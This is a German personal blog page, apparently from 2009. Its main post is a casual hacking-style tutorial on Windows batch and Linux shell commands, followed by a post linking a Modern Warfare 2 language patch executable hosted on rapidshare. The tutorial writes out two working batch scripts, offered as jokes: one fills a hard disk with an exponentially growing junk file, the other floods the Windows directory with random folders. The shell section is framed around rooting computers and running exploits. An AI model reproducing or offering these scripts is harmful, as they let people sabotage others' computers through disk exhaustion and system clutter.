Schrieben wir uns mal ein kleines Batch-Script, dass die Festplatte mit Datenmüll floodet =P Notepad öffnen und folgenden Code abschreiben (kein Copy & Paste). Dann als .bat oder .cmd speichern (nicht als .txt).

@echo off
echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX > big
:loop
type big >> big
goto loop

@echo off sorgt dafür, dass die Befehle nicht immer auf dem Bildschirm ausgegeben werden. Dann erstellen wir uns eine Datei mit lauter XXXXX drinne. Setzt setzen wir eine Sprungmarke und lassen und mit type die XXXXX-Datei ausgeben. Aber nicht auf den Bildschirm, sondern fügen den Inhalt noch mal an die Datei big dran. Dann springen wir wieder zur Sprungmarke und das Spiel geht von vorne los =D Die big-Datei wächst also exponentiell (1-2-4-8-16-32-64-128-256-512-1024-usw.) und nach kurzer Zeit ist die Festplatte mit einer Datei voll.

Ein Ordner-Flooder ist auch ganz lustig (:

@echo off
cd C:WINNT
:loop
mkdir %random%%random%%random%
goto loop

Wir wechseln erst in das Windows-Verzeichnis und erstellen dann Ordner mit einer (in unserem Fall drei) Zufallszahl (probiert mal echo %random%) also Ordnernamen. Dann wird geloopt. Schon sind in Sekunden tausende von Ordnern erstellt :>

Ihr seht, mit der Konsole kann man ziemlich viel machen. Ihr habt nur einen Bruchteil der vorhandenen Befehle kennengelernt (alleine der net-Befehl ist riesig und mächtig =D) und viele warten noch darauf von euch benutzt zu werden . Ein kleine Listet erhaltet ihr, wenn ihr in der Konsole einfach mal help eingebt.
Wenn man einigermaßen mit der Konsole umgehen kann, ist es auch keine Arbeit Batch zu lernen, was wirklich einfach ist und trotzdem sehr hilfreich sein kann.

Bash

Meisten bekommen wir beim r00ten von Rechnern ja eine Remote-Shell, auf der wir unser Unwesen treiben können. Und damit wir unsere 1337-Karriere voranzutreiben müssen wir lernen Exploits zu benutzen. Doch die sind fast alle für Linux geschrieben… Wir ihr seht kommt der Ueberhacker von Heute kaum um Linux rum. Also lasst uns mal einen kleinen Blick auf die wichtigsten Befehle werfe =D

pwd – Gibt das aktuelle Arbeitsverzeichnis aus
cd <Verzeichnis> – Wechselt in ein Verzeichnis
cd .. – Geht ein Verzeichnis nach oben im Verzeichnisbaum
ls – Gibt uns den Ordnerinhalt aus
cd – Wechselt ins Home-Verzeichnis
ls –a – Gibt uns den Ordnerinhalt mit erweiterten Informationen aus
mkdir <Name> – Erstellt einen Ordner
mv <Quelle> <Ziel> – Verschiebt von Quelle nach Ziel
rm <Datei> – Löscht Dateien
cp <Quelle> <Ziel> – Kopiert Datei(en)
chmod – Rechteverteilung für Dateien/Ordner. Am besten die Hilfe angucken
cat <Datei> – Gibt den Inhalt einer Datei aus
grep “<String>” <Datei> – Durchsucht eine Datei nach einem String
find <Pfad> <String> – Sucht ausgehen vom Pfad nach Dateien
ln –s <Pfad/Datei> <Linkname> – Erstellt einen Softlink
echo <String> – Gibt einen String aus
touch <Name> – Erstellt eine leere Datei
ps –a – Zeigt alle laufenden Prozesse an
kill <pid> – Einen Prozess beenden
clear – Bildschirminhalt löschen
telnet <Ip/Host> <Port> – Verbindet sich zu einem Rechner auf einem bestimmten Port
joe <Datei> – Lädt eine Datei in Joe (Texteditor; falls installiert>
mc – Startet den Midnight-Commander (falls instelliert)
gcc exp.c –o exp – Compiliert den Code exp.c und erstellt die Datei exp
./exp – führt die Datei exp aus

Das waren jetzt einiger ganz einfach Grundlagen. Aber ich muss das Rad nicht neu erfinden =D Es gibt genug Webseiten und Bücher, die sich ausführlich mit diese, Thema beschäftigen. Also bei Bedarf einfach ein bissel googeln und ihr werdet sich was brauchbares finden.
Die Umleitungsoperatoren funktionieren genau so wie bei Windows, also muss ich darauf nicht näher eingehen (einfach bei CMD noch mal gucken). Und Bash-Scripte werde ich jetzt auch nicht mit euch schreiben.

Geposted in Linux Stuff, Win Stuff

Call of Duty: Modern Warfare 2 auf Englisch umstellen

Dez12
2009
Kommentieren Geschrieben von Daniel

Ich habe durch zufall einen Patch gefunden, der es ermöglicht Modern Warfare 2 auf englisch umzustellen (zumindestens nur die Sprache)

Einfach folgendes .rar Archiv entpacken und die CoDMW2EnglishPatch.exe starten. Es ersetzt dann alle Deutschen Sprachdateien mit den Englischen.

Download:

http://rapidshare.com/files/319899510/CoDMW2EnglishPatch.part01.rar.html
http://rapidshare.com/files/319899829/CoDMW2EnglishPatch.part02.rar.html
http://rapidshare.com/files/319899742/CoDMW2EnglishPatch.part03.rar.html
http://rapidshare.com/files/319901204/CoDMW2EnglishPatch.part04.rar.html
http://rapidshare.com/files/319904413/CoDMW2EnglishPatch.part05.rar.html
http://rapidshare.com/files/319905341/CoDMW2EnglishPatch.part06.rar.html
http://rapidshare.com/files/319906607/CoDMW2EnglishPatch.part07.rar.html
http://rapidshare.com/files/319905137/CoDMW2EnglishPatch.part09.rar.html
http://rapidshare.com/files/319905008/CoDMW2EnglishPatch.part08.rar.html

Geposted in Games - Schlagwörter Modern Warfare 2 englisch patch, MW2 auf englisch

Letzte Kommentare

  • toto bei 5 Euro Gutschein für computeruniverse.net
  • lehmann bei winlogon.exe – Komponente nicht gefunden (XmlLite.dll)
  • Truk bei Youporn Alternativen
  • Uta Dmoch bei winlogon.exe – Komponente nicht gefunden (XmlLite.dll)
  • Katja bei WLAN-Leistung verstärken (N80 bzw alle WLAN-fähigen Smartphones)

Kategorien

  • Allgemein (39)
  • Börse (6)
  • Coding (7)
    • C (1)
    • PHP (4)
  • eBooks (3)
  • Forex Stuff (2)
  • Games (3)
  • General (3)
  • Handy Stuff (4)
  • Hardware (2)
  • Informatives (5)
  • iPhone (1)
  • Lesenswertes (12)
  • Linux Stuff (20)
    • Plesk (7)
  • Mac Stuff (14)
    • Bugs (1)
    • Tipps&Tricks (6)
  • News (1)
  • SAP (1)
  • Security Informations (14)
  • SEO (2)
  • SEO @en (1)
  • Stock market (1)
    • Forex (1)
  • Testberichte (1)
  • Vorlagen (9)
  • Web Stuff (3)
  • Win Stuff (56)
    • Bugs (21)
    • Downloads (4)
    • Tipps&Tricks (28)
  • XXX (1)

RSS

  • Artikel-Feed (RSS)
  • Kommentare als RSS

Tags

abo abzocke auslesen SN Handy authentication verschwunden Chartformationen Charting demekon ag Domains Expert Advisors fishing page Forderung gegen Handy IMEI handy seriennummer Handy sn herrausfinden IMEI aus handy auslesen IMEI auslesen Indikatoren linux linux commands mac office setup assistent Metatrader mysql login office 2008 sp1 office 2008 SP1 bug office setup assistent online abo abzocke online abos outlook sicherheitswarnungen porn routerpws schleife beim sp1 update sp3 bug SP3 IEEE 802.1X Authentication aktivieren sp3 lan authentication Sparschwein ag betrug std routerpasswörtern Technische Analyse Trendanalyse Tube8 tux cmds U+C Rechtsanwälte victim xserv xVideos Zugriff gewählen beim Outlook

EvoLve theme by Theme4Press  •  Powered by WordPress Daniel Schröter's Blog
blog.danielschroeter.de

close